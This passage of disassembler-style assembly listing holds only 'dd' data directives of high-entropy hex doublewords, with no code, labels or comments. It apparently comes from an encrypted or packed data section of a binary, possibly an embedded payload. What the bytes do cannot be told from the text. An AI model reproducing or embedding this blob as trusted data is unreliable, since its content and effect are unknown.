		dd 0A10DD89h, 0E9305051h, 377E5026h, 0E8C11C0Ch, 0B0183504h
		dd 0FE359054h, 3B593FDDh, 1056C2FDh, 0F6C06472h, 51B087Bh
		dd 24A85075h, 4BE115ADh, 0ED42298Dh, 51E93873h,	253D10E2h
		dd 603B478Bh, 6E20C968h, 878D257Dh, 0CEC28DB9h,	0C75D594Ah
		dd 68341D84h, 6925978Bh, 0CD421848h, 0FCDAC383h, 0FB1C30Eh
		dd 339C7609h, 0E4A4B475h, 5B495D4Dh, 0FDC32AACh, 7CCBC3EBh
		dd 768120ABh, 8C59495Dh, 98110C7h, 0BF48BF1Ch, 1AB786B8h
		dd 486D3EBEh, 1B439744h
		dd 438B07E0h, 94E3E6A4h, 8C8818FBh, 2B20083Bh, 4D9DAD72h
		dd 16E169DEh, 0E5E88265h, 0C890D39Dh, 0C29D648Bh, 137A5F14h
		dd 0DC9DF079h, 0E4D5A776h, 0B44D999Ch, 67294EA4h, 483DB8B3h
		dd 7C89257Bh, 0C89C15EAh, 62C86022h, 65F812A0h,	38B26DB9h
		dd 1D327CB6h, 0CB51195Ch, 0AC4D4F05h, 0FDF00BBBh, 7F59927Fh
		dd 0A121F0E3h, 92B31BF6h, 2F1C6AE1h, 7017DAF9h,	58753218h
		dd 58274CF7h, 4D8435F0h, 14F4FFD0h, 3BC82D23h, 0DE188C5Eh
		dd 3245F625h, 0D41401D5h, 91CC5A2Ch, 0EA7549F3h, 26430DE8h
		dd 53F4B530h, 0D3284A57h, 31AA4546h, 4A71325Ch,	91E57CB4h
		dd 1317921Dh, 2E2D3665h, 74190FE3h, 83CC8410h, 347F4E2h
		dd 0F83B98C1h, 49EBFE73h, 6E272FC8h, 87129159h,	0D9EB0D25h
		dd 75526B62h, 0ECEC88AAh, 3066D3BDh, 878A1025h,	7C472C6Ch
		dd 0E8D1020Ch, 897FE083h, 52B7A385h, 86C0211h, 3F6264A3h
		dd 89B5B0C4h, 0D1086BD5h, 17E1840h, 38848D70h, 813F8A34h
		dd 0A30C06C7h, 2C89455Ch, 0C9F5603Dh, 0F0FC2234h, 0E71ADC97h
		dd 5BC6D25Fh, 4CE48BF6h, 2A1551B1h, 6A67A53Dh, 0A228CE21h
		dd 0FE10529Dh, 86A193B4h, 26BC5D8Bh, 0D83BC016h, 8314B0F9h
		dd 3D2421A4h, 0D843B2ACh, 93FBADF7h, 7405744Ah,	81558B78h
		dd 23E44D3Eh, 7893C73h,	3BD023FCh, 406A7522h, 0EC01ED72h
		dd 6C514964h, 38A3D737h, 7088F044h, 95657483h, 22567DA5h
		dd 28315C42h, 56246B23h, 7286D16Ch, 246B53F3h, 30716C50h
		dd 0A3C3F16Bh, 0EB89E8A0h, 92607006h, 5D033964h, 0A4D03BB9h
		dd 40625D82h, 0F574FF4Eh, 392EA3AFh, 4AFB4E81h,	1F068689h
		dd 1D89C933h, 22A33411h, 0E3382E33h, 480B051Dh,	0AF8DFF01h
		dd 4CBC6AC6h, 0CAFFF82Ah, 6B3F897Bh, 0DE95AED0h, 52519CDDh
		dd 9C3995A1h, 8D335761h, 8444980Ch, 0FAF5D3FFh,	4BA80848h
		dd 4D4918EDh, 0D8AE191h, 292212Ch, 35FF51C9h, 967F668Bh
		dd 0A0FA889Ch, 5D12A364h, 0A154E756h, 11A1F7BFh, 0B7E6A1F8h
		dd 86CCD2FBh, 57119153h, 37511CCDh, 0CACDD5FCh,	0D26A9818h
		dd 0EAE49321h, 15E5E848h, 9775AF24h, 95F4720Ah,	66BBEC8Ah
		dd 3D5EBF14h, 0F9115FBEh, 5A033440h, 89C4A965h,	0DFEAAB39h
		dd 0A808C11Ah, 0F0826C26h, 0EC5BA49Ah, 8894B8FDh, 0BA387616h
		dd 8A4F2720h, 0D2840911h, 0EE815588h, 8E798015h, 0C50F7532h
		dd 0F8C520FAh, 7DF0DF27h, 0A9767EFFh, 0D4C7410Ah, 1539C0C3h
		dd 32CE7206h, 32CF1D34h, 0EE9453F2h, 14BF14BFh,	1A18EB1Ch
		dd 3C87D4A7h, 0F486C518h, 6C9F8781h, 86240FF7h,	0DC6BE446h
		dd 64E22134h, 3DAF564Ch, 2F2A7B89h, 81E37AA9h, 0A4A1AC5Fh
		dd 0BE1081EBh, 0D845256Ch, 0FC587E83h, 38183B11h, 13760B3Eh
		dd 73BF76Ah, 0FED924Fh,	10C681C1h, 52447F02h, 0D44DB18Ch
		dd 0D9FC3A90h, 0BEE409A5h, 0F64EFF74h, 4FBA7E8Ch, 0E01382D4h
		dd 0E402A154h, 0C95B076Ah, 0BB3BE80Fh, 0B04B6928h, 0FDEE5838h
		dd 0FF33E40Bh, 0C26217Fh, 0FD6AF73Bh, 192E5CA1h, 0E0765C6Ch
		dd 502DAE3Eh, 0BD564B34h, 9308E9F4h, 0D34E1D43h, 0F7BF8Ch
		dd 43933082h, 985B4F1Eh, 0FB5EE07Eh, 1B69F6CAh,	654ED177h
		dd 680F3110h, 2870A024h, 39F9FD5Fh, 73BD1EA6h, 0BBF74FC1h
		dd 0FC2B7069h, 8B8A0D3h, 3B5D9F40h, 0B802F594h,	44F66957h
		dd 7DE8970Fh, 54B17486h, 0D68BE0Ch, 59B67CFFh, 6A80544Ch
		dd 0DB3359A9h, 0AC73B24h, 5B248612h, 13FFBC1h, 6152E66Fh
		dd 0FFDFF8C4h, 9014A22Fh, 99A9910Eh, 290FBF19h,	18C5C1CFh
		dd 22340F34h, 410F3536h, 939420EFh, 84C81CB5h, 0CF535314h
		dd 29C2FF9Fh, 0D22385B6h, 0B4235714h, 111F678Dh, 572B1043h
		dd 0F5C6AD37h, 7EBF8295h, 0F010427Ch, 8283B442h, 5848AC9h
		dd 0D3C2783h, 0AA31CDBh, 0C018FAh, 0F41A008h, 8785A5F7h
		dd 0A1A157ABh, 0EBA408FDh, 88BB3A4Ah, 4BA433E6h, 162006BEh
		dd 6B09F587h, 77C21076h, 13575225h, 0E8968443h,	0FC74612Ah
		dd 82D23B40h, 6893756Dh, 0F43D6D23h, 1563919Eh,	0E85A4A8Bh
		dd 64AB4A9Ch, 74CABE56h, 0A2920D5Ch, 61624D39h,	677EFC82h
		dd 33B8EE94h, 74183902h, 0AE44050Dh, 883D4713h,	83EFBD20h
		dd 0B43148FFh, 55F78B13h, 0C395C6AFh, 0B8860B5Dh, 0C49EE90h
		dd 77C752B5h, 0C71E1394h, 55B141A8h, 111E5012h,	557C61CBh
		dd 0E225D0C5h, 0BB01F45Eh, 997C100Bh, 402DDB1Ch, 58BC786Ah
		dd 0FFF4C4D4h, 0DB309EB6h, 0D80DDC06h, 0EB9CFC9Dh, 19158256h
		dd 6A05441Bh, 0C8A4665Bh, 953409FFh, 0F0A88A70h, 0B9995819h
		dd 1BF5C068h, 0CAFF8744h, 17A44176h, 1293AE9Ah,	8BB62887h
		dd 134FF1B0h, 2B58C180h, 72D5D0C6h, 0C039ECC8h,	8B0A85D0h
		dd 0DA5818D8h, 0ED059F4Dh, 0FE8D2CC8h, 70BF0213h, 137E4446h
		dd 0E0034E14h, 112FBF3h, 0D3BA0974h, 0F943BA5Fh, 52C0C84Eh
		dd 70859001h, 8CC0088Ah, 1F41F69Dh, 285C9DD3h, 0B27D959Fh
		dd 9B4B5C1Ah, 42432E6Ah, 0DDA94C12h, 4E1B4E6Bh,	55FABF9Fh
		dd 8AC9DE0Ah, 3517A5D2h, 65EC78D9h, 0F6CCBAECh,	266D7EDFh
		dd 2371DD59h, 0EA4D4786h, 808A5832h, 8827BAA4h,	4D70F603h
		dd 6B215DD8h, 0C299EA8h, 1096B50Ch, 0BAE59F1Eh,	0E9CEF58Ch
		dd 5432BE3Bh, 0F0210402h, 4329BE3Ch, 30ECA7FFh,	0F94EF520h
		dd 3468D0Ah, 0B9304FADh, 28722D45h, 8B762BF1h, 0C1FAEA6Fh
		dd 0F0BC3710h, 0F142BF8Dh, 6A261CEBh, 0B150B8C8h, 0C82A1641h
		dd 1805EB88h, 0BB525B46h, 0E2DED415h, 9D8CB4B0h, 6A14E77Ch
		dd 795B2F87h, 0EF612715h, 0A5885B39h, 0EBD42802h, 998AB71Eh
		dd 5446404Ch, 0E68C5886h, 8D5E0F06h, 5FE20FAh, 7599137Dh
		dd 6A46185Ah, 9215A408h, 0E943A59Bh, 3C1A2425h,	6DAEA83Ah
		dd 1DEB3013h, 95220E22h, 8789488Ch, 3402F47Dh, 99DEDB7Ah
		dd 654F5C8Dh, 1E904690h, 399CA0F2h, 1E392326h, 10787D12h
		dd 963EAD98h, 0D6C1FCD5h, 2A0E99EFh, 11627F8Dh,	0BB57FB96h
		dd 2BE90EEBh, 0FF8514A0h, 0DC9F1D7Eh, 0B1089005h, 8C2E40CFh
		dd 46020B68h, 0E37CF73Bh, 3695832h, 1B0C35Dh, 7109F8EBh
		dd 542010B8h, 560C506Ah, 0FC57482Dh, 0E5079D38h, 6AAE8CACh
		dd 46BC035Ah, 147FE2DAh, 45B3E08Fh, 53D73E4Bh, 4AC2E074h
		dd 15EDFDDAh, 0BEF9F013h, 0DF8F72Dh, 9C07425h, 0F163C41Bh
		dd 68E2623Dh, 0CDC2A97Dh, 22DC2F64h, 7B1956F1h,	0D3BC8CB4h
		dd 0A81AE57h, 5602937Ch, 0A5170432h, 200DBE4Eh,	1F136B39h
		dd 0B351C4AFh, 36FC2942h, 800C8691h, 0C33F2BDh,	7E7D7530h
		dd 8AC86818h, 444C6459h, 38685274h, 0B7BA10A4h,	36D2743Fh
		dd 4775020Ah, 0E4680D87h, 1127196Bh, 29572C2h, 0CE0F510h
		dd 0FE2D810Ch, 683F22Ch, 0EB43C39Dh, 0F8424F20h, 1C4CF6F2h
		dd 5D9D8B77h, 0C3D85EBBh, 3BC9E95Bh, 8A639E8h, 0DE83F104h
		dd 0C6BB6F4Bh, 213976B9h, 7871F1A2h, 6C4A7A74h,	20D22E9h
		dd 60726554h, 0D2FDDB1Ah, 25BCF1FDh, 0D1578B42h, 2B418506h
		dd 0EB39C4C7h, 0D557E835h, 0EC3BA5B5h, 0D1784CA5h, 531017C9h
		dd 8A6B8C36h, 50F98512h, 0A0B81105h, 0F2BE5412h, 0F78B1FC0h
		dd 0BE72E627h, 12772704h, 0C2787C8Ch, 530207D0h, 0EA597556h
		dd 0FDF83089h, 7A9C0096h, 75AF5613h, 5BE60B9Dh,	0AA7DF405h
		dd 0F873A422h, 28B5513Ah, 8A9AA46Fh, 80311401h,	5740AFAh
		dd 750D0A85h, 78911F04h, 0C83B4100h, 0D233EA7Ch, 2A3B5764h
		dd 4F7518AAh, 32703C80h
		dd 3B19753Bh, 0C001337Ch, 740A054Ch, 0BEFB810Eh, 0B7D9490h
		dd 430F2D89h, 3B42A700h, 0DC787CD0h, 5FE00CFCh,	8017742Bh
		dd 9DA98B21h, 984BA2Dh,	56E412EDh, 0C8081682h, 0B951144Eh
		dd 0F3454040h, 78518DABh, 1F7CC885h, 0DF8B5318h, 298A103Bh
		dd 3B90604h, 4659B575h,	18F84CFBh, 81241C89h, 7E05D74Bh
		dd 3FB15BE5h, 58249670h, 0ECC00904h, 7C59613Ch,	7A1A0B75h
		dd 28077Fh, 0C360E8D9h,	0E7F19D33h, 45100C8Bh, 0BE571272h
		dd 0BB9353B2h, 4CFC7D09h, 0F49C80D9h, 58139FEFh, 17F72B73h
		dd 4A07985h, 0FE8B244Eh, 7A7E099Dh, 99ECC2Dh, 0C1C4A87Fh
		dd 1FC87B9Ah, 59F5C907h, 52E22DA5h, 671FA004h, 0FAF455C3h
		dd 8D4FAA84h, 0CE2BCA04h, 27E3281h, 7803C1E0h, 0FC7D39F8h
		dd 8D952C30h, 4DA5FF72h, 0A19D09Bh, 0F8558970h,	4D644C4Dh
		dd 75C152C0h, 284E4FB0h, 0E8BB86EBh, 3D7C505h, 8BA2BAC7h
		dd 561601C8h, 0B15334FAh, 36DCC2AAh, 160E6865h,	0C9BFD250h
		dd 102CC33Fh, 64418312h, 1F4C4271h, 8008038Ah, 57F1FF9h
		dd 75090A05h, 0A3E84003h, 1A8D4887h, 72D03119h,	2E1D400Ch
		dd 2180EB74h, 2FE6527Ch, 0BE09EA48h, 0A251B18Ch, 0E4940C88h
		dd 0E3BF7556h, 91495EC4h, 195FB4h, 26C92B2Ah, 29516433h
		dd 4D6E1CF9h, 6AF56C38h, 683673EDh, 38580C13h, 55C39122h
		dd 5508928Ah, 5D97E14h,	431638BFh, 151486E9h, 0E80238F0h
		dd 6474EE3Bh, 0E49511D0h, 46A3532h, 2881EC06h, 89D24378h
		dd 0E1FB70Bh, 7455198Dh, 9C0653Bh, 5BF3537Ch, 87B5037h
		dd 5599F2FBh, 0C5A0403Ah, 93C9430Fh, 717059C1h,	0E0565702h
		dd 8146F52h, 0D54B011Ch, 0E485BF22h, 4201955h, 20DC25B1h
		dd 258B7394h, 4F0946A0h, 5FBCB273h, 70036209h, 48F85512h
		dd 50F961A5h, 0A2EAD664h, 624C25E6h, 58F9D544h,	0F332F09Eh
		dd 0B3052980h, 4E791F1Dh, 7F1B6AD3h, 2500A77h, 6A944034h
		dd 6B3D696h, 0CC361629h, 0F3A47CE9h, 0CCEB60D3h, 30276818h
		dd 3E64E594h, 4630538h,	4624066Ah, 77A52F24h, 0C68C26C4h
		dd 0BD076420h, 909CDD74h, 742FEB6Ah, 7A905D0Fh,	0AE920775h
		dd 0D59DBCCh, 0B18350A5h, 9373B29Ch, 0E457251Dh, 0C412863Fh
		dd 0EFDA00Eh, 5D94AB68h, 14A0A667h, 9517E695h, 0D0A511E7h
		dd 0FFE04A6h, 10010C86h, 44508A22h, 9E5C6842h, 0EAC2973Dh
		dd 33F1191Ah, 57920E68h, 8DD47DBCh, 258EEBA5h, 1844647Ch
		dd 0B639AAA8h, 0FF7DD530h, 0B830AB3Bh, 8AFFFEA4h, 0B430E1F5h
		dd 7791ED6Fh, 122DD46Eh, 8CBD59AAh, 5D5012A4h, 0C53E5473h
		dd 0D7F1AC2Bh, 1229D2EDh, 7F12712h, 949C2EB2h, 10BB8F24h
		dd 5B10F344h, 5534AE29h, 5E6EB036h, 0A26CBD84h,	0A8AF5468h
		dd 2749F394h, 99EBAD05h, 57FC6F72h, 0D0902A2h, 0DFE2A8D7h
		dd 79A7F253h, 2D10E831h, 5B6794FFh, 5162FE50h, 7502217Ch
		dd 4BEE2B55h, 0AF2A14B1h, 3B5799DCh, 34576674h,	9481312Fh
		dd 50444395h, 57A263A8h, 14DC0D92h, 0EB201754h,	0DA72AF38h
		dd 0CAD7AFDCh, 0AD4F28CBh, 3A1E1BACh, 725F1C85h, 744AC0C3h
		dd 0C4BAAB35h, 2D752F04h, 0DB63155h, 0B7394F64h, 19F6EE64h
		dd 8E167ED0h, 0D509AB0Ah, 569EE4Ch, 1718723Fh, 0EED05068h
		dd 0BDF00B9Ch, 38AA61DEh, 5A6AC444h, 559EE32h, 617B40DEh
		dd 0ABD4D0D4h, 9D22A526h, 81F1185h, 1122B2EBh, 0C890F84h
		dd 46B93BB7h, 4659B77Fh, 0DA694BC8h, 3CD4812Eh,	136B3775h
		dd 0C541A394h, 0F2EA5651h, 0FEA1A45Ch, 1AD0B96Bh, 0D20CDB0Ch
		dd 7BDAF052h, 0DDC164Dh, 2B939CE0h, 0D2EBF05Ch,	224A7CADh
		dd 0E87E1095h, 348D4A03h, 0C1C80C40h, 0B6D302E6h, 75952825h
		dd 887C5018h, 0B07FD08Ah, 242AC8FCh, 96386886h,	50BE130Ah
		dd 6EE2E1BAh, 2D28858Ah, 2A7D2729h, 0C680240h, 0E0EB3DC0h
		dd 0AA40048Dh, 50FEF023h, 0D1E83420h, 0CCD2F0Ah, 12372FF4h
		dd 53A884BBh, 3F19A0AFh, 91950FE0h, 0D83AD82Bh,	0A4B7531h
		dd 0EBD80261h, 0DD9D62EEh, 7AC5C2h, 0C0275E9Ah,	0F3EB91B8h
		dd 4D2D204Bh, 1F845A2h,	30ACF8Ch, 7E3017EAh, 7F060E37h
		dd 7FF19D32h, 15A95928h, 0EBA5892Ch, 1184B316h,	4AB8C81Fh
		dd 0F5300CD2h, 5908B419h, 0DC279948h, 7485739h,	815A975Eh
		dd 0B94E1CACh, 0C13BB490h, 95875A0Fh, 0EAB3EB33h, 22FB607Eh
		dd 4E745A77h, 0B1C88B3Dh, 493DEAE9h, 33CE63C6h,	51182206h
		dd 0A2713E3h, 0A4645724h, 9AC86817h, 7E1E70B2h,	0A9C9547h
		dd 505984C8h, 6224210Bh, 373B99D0h, 411181B0h, 9B2574C6h
		dd 0DF061BAEh, 849CA66Ch, 4699B821h, 0EB3B1588h, 72CA87Dh
		dd 22147658h, 0E6F5898h, 0B9F40741h, 1B1A65Bh, 58746D77h
		dd 7ADE888Dh, 7DF9C2B4h, 0F600111h, 8E9689B6h, 24F0C341h
		dd 0FD06E8Dh, 3D2B4089h, 240780D0h, 97199C36h, 0B2442F0Fh
		dd 0C828070Fh, 0C42145A0h, 1A070F40h, 134718C8h, 2796BCE2h
		dd 2398E40Ch, 2F78F205h, 4DB39083h, 69ABB684h, 54998542h
		dd 0E552143Dh, 0C30D83B8h, 1FDF3218h, 3B243409h, 11910348h
		dd 2D442622h, 1755890Ah, 2010900h, 4D5E903h, 605068Ch
		dd 6CB0708h, 8CB71808h,	3DFC9503h, 5D2432C9h, 27338989h
		dd 0F4451412h, 9B13E4FEh, 0AFFD4FB7h, 0FD943255h, 744AE8C6h
		dd 1512C5Ch, 30A60B4Ah,	0A4120951h, 3011FC62h, 0D991EA3Dh
		dd 0A7B48508h, 0FC5D6A60h, 0A0618EF6h, 78B58D17h, 9BD673AFh
		dd 43744806h, 2F394006h, 1B022581h, 7091104h, 8C9BBF04h
		dd 0CEF4432h, 2C0CFD38h, 0FD200CFDh, 0CFD140Ch,	0FC0CFD08h
		dd 629FE692h, 0DA5B5D59h, 829F74BDh, 93FC762Ah,	0F04DACA1h
		dd 0D6E86F3Eh, 0BFC74B1h, 424728C7h, 62D024C6h,	668C0F1Ah
		dd 0BCFAFF3Dh, 6CBF1279h, 25B49140h, 43BFD85h, 0E55B5EF6h
		dd 0B4507C3Eh, 8AB8A0FBh, 0D9405E1h, 5FBA75C4h,	8948DEA8h
		dd 67F9575Dh, 20B88109h, 7D834DB9h, 12F1B810h, 0F3246A39h
		dd 0DF2B8F7Ah, 848D5854h, 0E1B0AC89h, 16767D04h, 38B64CBEh
		dd 9B43CCC8h, 52EB1482h, 644EA7A8h, 9FA1A80Ch, 0E232C6D4h
		dd 0FB01124h, 202C2958h, 0B21FA2B0h, 43548C21h,	1C31D68Ch
		dd 0F639C35Dh, 75F5B04Bh, 5441045Ah, 56575553h,	3D8B0284h
		dd 6A42F488h, 13BBFF27h, 283C26EBh, 0D7033E19h,	0B84C05F6h
		dd 8B019A00h, 801675E8h, 8F0BAA0Dh, 0CCFAD35Dh,	0EC2EA361h
		dd 8AB8A4B5h, 935FF55h,	34627234h, 5F0F81A1h, 84775B5Dh
		dd 3030202Fh, 0C28A7781h, 110A2A7Fh, 0A4168912h, 1644C2CDh
		dd 0D8ACE553h, 11957F22h, 47216537h, 5BF04DD0h,	258893FFh
		dd 54802932h, 1134AAE4h, 17A1D1ADh, 5235BFFCh, 26AEE45h
		dd 29D851D2h, 6C518644h, 3BCE02D0h, 1202A985h, 6C5EAFDFh
		dd 50573562h, 2D0FF848h, 0F86B2001h, 573F448Dh,	9158BA02h
		dd 19535715h, 0AB2E955Bh, 0AE5EF7F2h, 77819C71h, 0FA166B0Bh
		dd 99AF96AFh, 6A5ECBB0h, 0E2A5D7BCh, 22142A04h,	2A6B49A2h
		dd 0F45C49FFh, 3C68754Bh, 402C68F0h, 18F9349Ch,	634FA368h
		dd 93414ABh, 0D0C1F6FCh, 0FFC201F6h, 2928DB99h,	3BD80B95h
		dd 81E982DEh, 0F02CC4FBh, 99537135h, 0D1F44B1Eh, 9C24044Bh
		dd 2C593DEEh, 2D24BC87h, 0FD406DEBh, 14177D39h,	6DE95C72h
		dd 328D7028h, 0CCB41076h, 0AFDD935Fh, 7C757FDCh, 8D106805h
		dd 1C916952h, 0EC068204h, 0CD9BF868h, 795B2118h, 3017612Ch
		dd 0B4C53B1Bh, 0EA17AC76h
		dd 741A28B2h, 0AA32ACBAh, 0AA24FB41h, 0DE4C7463h, 94777C53h
		dd 0BD2DCC97h, 3B0C5FD3h, 0B1923EDFh, 0C72B401Ah, 4B9D2674h
		dd 5D3BE2BAh, 2E462709h, 84791095h, 0E6418243h,	0DE0C4922h
		dd 391730C8h, 0DB08F582h, 26132285h, 8BB1C883h,	302903EBh
		dd 20134DD6h, 0BE53FA41h, 110EB850h, 48A29CD0h,	28A354C7h
		dd 0A0882090h, 22661479h, 0B1B85011h, 481F9C78h, 89BC4910h
		dd 456F9224h, 42EDEAC0h, 976EDC45h, 81E00C40h, 0F9257AECh
		dd 0C9F44816h, 4ED29D58h, 86DC08CEh, 5F385750h,	9A64BCE8h
		dd 0BC3B8404h, 6A23ABD9h, 0AC6888F4h, 0AA041287h, 9C567262h
		dd 802C8C7Eh, 0A00B6A60h, 5FBA3C32h, 0D897D94Ch, 4A84036Dh
		dd 9D91A4FCh, 0BCB817D2h, 98DD302Dh, 859E884Bh,	185C8F28h
		dd 0A41424B7h, 11B16225h, 0A345561Ch, 751E36BBh, 0FF050AB4h
		dd 34320C70h, 2B871678h, 647208E4h, 7204C415h, 0C44E1558h
		dd 48A11040h, 0B8C70A29h, 139DD888h, 7E9E22FFh,	740510Ch
		dd 0FD38CB20h, 2451120Dh, 14447C95h, 552B8A77h,	21DC1C11h
		dd 0F01CE75Ch, 18AC9D42h, 0B8DC428Eh, 0AF98E2Ch, 0AC3930E2h
		dd 3924E20Ah, 28E20A9Ch, 0E20A8C39h, 0A783934h,	64393CE2h
		dd 3938E20Ah, 56290F50h, 0C42B2314h, 953C724Ch,	72404456h
		dd 442B9528h, 37147244h, 5B5F5130h, 842C4CEBh, 0B9CF0A1h
		dd 0E4B28C70h, 0F5084A9Dh, 209374E5h, 992D2EAh,	2B4B4251h
		dd 4BFEEE85h, 0D2513518h, 14DE145Fh, 0FEE28F69h, 64EC4549h
		dd 0E825C951h, 9F045468h, 0F8102583h, 43BF5797h, 2B79B1D2h
		dd 441673B9h, 0C1A9BCB9h, 3D3C74F4h, 50CE552Ch,	4298B730h
		dd 0C41E9EE0h, 0B2B68811h, 0E17BB255h, 0F2EFC2Bh, 859A84B9h
		dd 8D20CBF4h, 1E697633h, 37FF9974h, 0B3D8444Ch,	10456826h
		dd 0F801A9FBh, 45F804C7h, 3B4300F8h, 0C372145Dh, 39A62AEBh
		dd 0C47DAC56h, 2A2A3389h, 74127B1Ch, 2F64570Ch,	7F54B1AEh
		dd 59F456C2h, 64049177h, 0BF74073Bh, 0C8584410h, 8B425494h
		dd 35FE20A2h, 0BAF4A53Eh, 882F1B0h, 0A1C40858h,	0F8109432h
		dd 5B770C7Bh, 50E4F74h,	0ACF40EAh, 1F314808h, 3F22D032h
		dd 0C13A035h, 0C6850F57h, 0D42F6849h, 8A2E90A1h, 0AEBCF4CEh
		dd 0C894420Ah, 0B705980h, 4B5821h, 28747CE1h, 7C8242Dh
		dd 0E1A9798h, 75610DE5h, 5C406878h, 30AE1C26h, 2EA0F820h
		dd 20367EEBh, 42777E07h, 0B9700AA8h, 0E06FAEC5h, 2D277430h
		dd 0CC17DDADh, 15844852h, 0E0B06CCh, 0C4326875h, 0D44C1D24h
		dd 453F0734h, 3E141821h, 0F9F309Fh, 0A1CA2D37h,	0F69D2B2Eh
		dd 0A1F5917h, 0A5CA5725h, 0A06AE029h, 441A1DA1h, 13070FAFh
		dd 0C476CC8h, 52248E4h,	0F482CC3h, 0B9B52FDCh, 17A7B887h
		dd 18D8B077h, 3E568107h, 89ACDA24h, 29F8E884h, 0BE6B8C6Eh
		dd 53E32FE5h, 9B7BF82Fh, 2792D52Fh, 0E45E1012h,	30FCE88Ah
		dd 0B7593CC8h, 9A5C1002h, 25A11221h, 0C8AB6A13h, 53BEF4FEh
		dd 0ECBE1461h, 994CF47Ch, 0AE3AA227h, 29383270h, 5130D08Dh
		dd 0BC13E2EFh, 2917E6DDh, 0A1D468C7h, 8B84FAE3h, 0E77BBC6h
		dd 6AC0E8BBh, 84FC9D28h, 5F23C8E5h, 0E23E5A02h,	9FF24B13h
		dd 0B9C6D24Eh, 31302919h, 786EB70Ch, 4D830602h,	5DEB02F8h
		dd 56FDAD23h, 9D87EC8Ch, 0F06ED3ECh, 0B448F892h, 29096B65h
		dd 629AF654h, 0E47D496Ah, 105D9513h, 4ABD8D59h,	880AFCD4h
		dd 0ABF383D0h, 0B36288B9h, 11FCB026h, 4112DAACh, 0DDA5BF86h
		dd 0C87E4457h, 0F862B318h, 13A711B8h, 3CEFA46Ah, 0FFE5341h
		dd 0CB7E0481h, 4AC8767Dh, 6F6A775h, 64DC765h, 503B2128h
		dd 0FF4E4F44h, 23E40824h, 8126AE4Ah, 0E67FF81Ch, 2D343060h
		dd 0C78C3D8Bh, 0E7FFBB49h, 82B30A1Fh, 60741845h, 40FCFF82h
		dd 5D727542h, 0D630FF2Dh, 8C15E283h, 128D985Fh,	42CCB83h
		dd 0A08C9B0Eh, 0DD4D7243h, 0DC8D03BAh, 5AD8B5FFh, 0D77EA447h
		dd 0FC999B9Eh, 4C2C3AEh, 0F26B896Ah, 0B29B7E93h, 2A2F2352h
		dd 0CACC31D6h, 8B8A2614h, 5A0C1232h, 65432896h,	83DC6008h
		dd 0A0E11C7Dh, 20A4CF91h, 5B76244Dh, 0F97143B8h, 4262F023h
		dd 2F08B8A4h, 0E938E48h, 211789FFh, 1D1209C5h, 0AC0E88ADh
		dd 0EC6804FAh, 0A4B4F9A3h, 0B66A140Fh, 148AF2CAh, 0A12A4493h
		dd 0ACF82F8Dh, 0EE62AFA4h, 0B2304E33h, 0B932A571h, 1025D9B5h
		dd 0D61213DDh, 2B996953h, 0C4FAED9h, 4D8B4966h,	145718C9h
		dd 5753008h, 0D5EBD616h, 0D23F499Dh, 25FCC6Bh, 5413F6BDh
		dd 0A4411CB0h, 0D38AB37Eh, 0ABD228FCh, 8CF83C38h, 0F5F92CD7h
		dd 68B5D2A7h, 0CA239C7Dh, 4718F032h, 67DF1B56h,	0C45F254Fh
		dd 0C08A8A6Fh, 8AA41C0Bh, 0A3F8F660h, 41624FEFh, 0B4600A5Fh
		dd 923E3329h, 0EF5DEC83h, 0ABFDAD45h, 0CEF41C1h, 5360126Fh
		dd 9650AD59h, 1632F4B2h, 11455626h, 33DF099Eh, 0F7EB442Ch
		dd 0E00D34CAh, 188D670h, 35FF50ABh, 5A693C4Ch, 0E37B60BAh
		dd 0BC4A58A1h, 0D59983C4h, 3BE493Fh, 0A134EA50h, 0D282860h
		dd 0D5AF8754h, 0B2FF6132h, 7D524A2Bh, 27B6F871h, 555C6BB0h
		dd 626E6E55h, 6D8F4709h, 4E995377h, 7F250208h, 2F42E512h
		dd 27121547h, 49C0CBFAh, 0CABA4A4Ch, 0A46013CFh, 57EB6E3Ch
		dd 0ED5B1C17h, 33CF5AE5h, 5BDEBA4Ah, 57FC698h, 87A18CA5h
		dd 30CC0C93h, 0A08FA4BEh, 9164BB2Dh, 55F42D02h,	20364DADh
		dd 1CA1FBDBh, 0BF722F16h, 27DC5853h, 11F5D394h,	9EE5E9Bh
		dd 90FD2BB3h, 0A9543569h, 740C901Dh, 17CB0D58h,	0C3F503F8h
		dd 0EC2E99F1h, 8B6A9585h, 640AAC9Dh, 0F1105A76h, 0A540054h
		dd 40315474h, 0F072C83Bh, 7D42B13Ch, 4AEDF4B3h,	4818FCC1h
		dd 70ECE27Eh, 0A66D7410h, 30536417h, 89DC5098h,	0D218D5D5h
		dd 40497490h, 0AFEB0493h, 3A94C868h, 0FC2B1F39h, 75FAB5A0h
		dd 68133154h, 8A295AA0h, 68472857h, 0A6FE234Ah,	3782155h
		dd 0F6176AABh, 0F34816FFh, 46E8C4D6h, 0C53F423Dh, 45F1C029h
		dd 8B5B09E4h, 34D2083Dh, 0C7F25054h, 550C1EC9h,	6EF05299h
		dd 0B4EC33E0h, 4CFD2CB7h, 698B985Ah, 38DB4857h,	811117A1h
		dd 0D025EE4Ah, 0C4691DE8h, 73D77C19h, 66EE4A59h, 669D4CABh
		dd 0CED45B86h, 6B8C21EBh, 0F0BDAD44h, 0A23BE9E1h, 6C83342h
		dd 36557FCCh, 8C78C7Dh,	0CC812F9Ah, 34BF3EBBh, 0AACA24DAh
		dd 9FB852B0h, 75428876h, 475C5DBCh, 0A9FA08E4h,	930109A1h
		dd 5FAC2961h, 9ED2C24Ch, 0A3D8C681h, 166BB222h,	4F600B05h
		dd 3613D408h, 84E3B23h,	4C640C1Fh, 68057442h, 0B801EBE3h
		dd 9F647DF2h, 564CA794h, 2C257F2Eh, 5012EA5h, 0EAC7BAA3h
		dd 57DC4D22h, 682524F9h, 5B288F22h, 0FF49BFE9h,	5C552251h
		dd 45957A0h, 87A5404Bh,	7537C434h, 0E8A7AE27h, 10FC8811h
		dd 13A4A4F8h, 0D139FE11h, 0E5D8F83Eh, 0A641B3FAh, 0F547AA40h
		dd 56BF4358h, 7431D447h, 0C6939F07h, 96B0886Bh,	29ADEA6Bh
		dd 1CC5F5B2h, 9021462h,	392FCC72h, 6118CA3Dh, 99AA1912h
		dd 2FBE65C3h, 1FC70B80h, 62578127h, 98DE91E0h, 1CCC5444h
		dd 66530275h, 4392A0A1h, 0E7FDCCDFh, 17DAD462h,	58163143h
		dd 8CAFA7ECh, 2EAA08EDh, 0C8227F78h, 6B0577A7h,	4A760FA8h
		dd 0C8F9592Dh, 0B9C08827h, 1913EB0Ah, 0A7786841h, 0A4B5EC2Fh
